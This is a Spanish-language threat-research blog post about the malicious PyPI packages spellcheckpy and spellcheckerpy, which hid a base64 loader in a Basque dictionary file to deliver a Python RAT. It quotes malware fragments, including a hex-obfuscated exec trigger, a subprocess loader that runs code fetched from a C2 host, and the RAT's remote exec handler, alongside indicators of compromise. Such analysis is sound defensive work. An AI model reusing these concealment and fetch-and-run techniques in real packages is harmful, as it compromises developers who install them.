Aikido

Paquetes PyPI maliciosos spellcheckpy y spellcheckerpy distribuyen un RAT de Python.

Escrito por
Charlie Eriksen

El 20 y 21 de enero de 2026, nuestra pipeline de detección de malware marcó dos nuevos paquetes de PyPI: spellcheckerpy y spellcheckpyAmbos afirmaban ser el autor legítimo de la librería pyspellchecker. Ambos están vinculados a su repositorio real de GitHub.

No eran suyos.

Oculto dentro del archivo de diccionario del idioma vasco había una carga útil codificada en base64 que descarga un RAT de Python con todas las funciones. El atacante publicó primero tres versiones "latentes", con la carga útil presente pero sin el disparador, y luego activó el interruptor con spellcheckpy v1.2.0, añadiendo un disparador de ejecución ofuscado que se activa en el momento en que importas SpellChecker.

La carga útil oculta a plena vista

Los autores del malware fueron creativos. En lugar de los sospechosos habituales (postinstall scripts, ofuscados __init__.py), enterraron la carga útil dentro de resources/eu.json.gz, un archivo que legítimamente contiene frecuencias de palabras vascas en el paquete real pyspellchecker paquete.

Aquí está la función de extracción en utils.py:

def test_file(filepath: PathOrStr, encoding: str, index: str):
    filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
    with gzip.open(filepath, "rt", encoding=encoding) as f:
        data = json.loads(f.read())
        return data[index]

Parece inocente. Pero cuando se llama con test_file("eu", "utf-8", "spellchecker"), no recupera las frecuencias de palabras. Recupera un descargador codificado en base64 oculto entre las entradas del diccionario bajo una clave llamada spellchecker.

Latente, luego letal

En las tres primeras versiones, la carga útil se extrae y decodifica... pero nunca se ejecuta:

test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# Eso es todo. Sin exec(). La carga útil simplemente se queda ahí.

Un arma cargada con el seguro puesto.

Luego llegó spellcheckpy v1.2.0. El atacante movió el disparador a WordFrequency.__init__ y añadió ofuscación:

if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"), 
                "<string>", 
                bytes.fromhex("65786563").decode("utf-8"))):
    self._evaluate = True

¿Lo ves? Eso bytes.fromhex("65786563") se decodifica a "exec".

En lugar de escribir exec() directamente, lo que los escáneres estáticos detectarían, reconstruyen la cadena desde hexadecimal en tiempo de ejecución. Importa SpellChecker, instáncialo, y el RAT se ejecuta.

El RAT: Control remoto total

La carga útil de la fase 1 es un descargador. Obtiene la carga útil real de https://updatenet[.]work/settings/history.php y la genera en un proceso separado:

p = subprocess.Popen(
    ["python3", "-"],
    stdin=subprocess.PIPE, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()

Eso start_new_session=True es clave: El RAT sobrevive incluso si tu script finaliza. No se escriben archivos en disco. Silencioso. Separado.

El RAT de la fase 2 es un troyano de acceso remoto con todas las funciones y algunas características interesantes:

Huella digital del sistema en la inicialización:

szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()

Cifrado XOR de doble capa para comunicaciones C2: El RAT utiliza una clave XOR de 16 bytes ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) para la capa externa, y luego un XOR secundario con la clave 123 para las cargas útiles de los comandos. No es criptográficamente robusto, pero es suficiente para evadir la detección basada en firmas.

Protocolo binario personalizado: Los comandos se devuelven como [ID de comando de 4 bytes][longitud de 4 bytes][carga útil cifrada con XOR]. El RAT lo analiza, descifra y despacha.

Ejecución de código arbitrario: Cuando llega el ID de comando 1001, el RAT simplemente... lo ejecuta:

if nCMDID == 1001:
    exec(szCode)

Bucle de baliza persistente:

El RAT se conecta cada 5 segundos a https://updatenet[.]work/update1.php, enviando su ID de víctima (campaña

FD429DEABE) y esperando comandos. La validación del certificado SSL está deshabilitada mediante

ssl._create_unverified_context().

Infraestructura C2

El dominio C2 updatenet[.]work resuelve a una infraestructura con un historial documentado de alojamiento de actividad maliciosa.

Registro de dominio:

  • Dominio: updatenet[.]work
  • Registrado: 28 de octubre de 2025 (aproximadamente 3 meses antes de la publicación del malware)

Infraestructura de alojamiento:

  • Dirección IP: 172.86.73[.]139
  • ASN: AS14956 RouterHosting LLC
  • Ubicación: Dallas, Texas, EE. UU.
  • Dominio asociado: cloudzy.com
  • Red: 172.86.73.0/24

Por qué es relevante: RouterHosting LLC opera como Cloudzy, un proveedor de alojamiento que ha sido ampliamente documentado como un «Proveedor de Comando y Control» (C2P). En agosto de 2023, Halcyon publicó un informe titulado «Cloudzy with a Chance of Ransomware» que descubrió que entre el 40% y el 60% del tráfico de Cloudzy era de naturaleza maliciosa. El informe vinculó la infraestructura de Cloudzy a grupos APT de China, Irán, Corea del Norte, Rusia y otras naciones, así como a operadores de ransomware y a un proveedor israelí de spyware sancionado.

Conexión con campañas anteriores

No es un incidente aislado. En noviembre de 2025, HelixGuard documentó un ataque similar utilizando el paquete spellcheckers (mismo objetivo, diferente nombre). Esa campaña utilizó la misma estructura RAT: cifrado XOR, ID de comando 1001, exec(), pero con una infraestructura C2 diferente (dothebest[.]store)

Diferentes dominios, mismo modus operandi. Parece ser el mismo actor de amenazas en acción. 

Indicadores de Compromiso

Paquetes: spellcheckerpy (todas las versiones), spellcheckpy (todas las versiones)

Infraestructura C2:

  • updatenet[.]work
  • https://updatenet[.]work/settings/history.php (entrega de fase 2)
  • https://updatenet[.]work/update1.php (endpoint de baliza)
  • 172.86.73[.]139 (AS14956 RouterHosting LLC / Cloudzy)

Identificadores de campaña:

  • ID de campaña: FD429DEABE
  • Clave XOR: 03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05
  • XOR secundario: 0x7B (123)

Ubicación del payload:

resources/eu.json.gz, clave spellchecker

Compartir:

https://www.aikido.dev/blog/malicious-pypi-packages-spellcheckpy-and-spellcheckerpy-deliver-python-rat

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?
Prueba Aikido como otros 100 000 usuarios.
Empiece ahora
Obtenga una guía personalizada

Más de 100 000 equipos confían en nosotros.

Reservar ahora
Analiza tu aplicación en busca de IDOR y rutas de ataque reales.

Más de 100 000 equipos confían en nosotros.

Iniciar escaneo
Descubre cómo la IA realiza pruebas de penetración en tu aplicación.

Más de 100 000 equipos confían en nosotros.

Comience la prueba

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.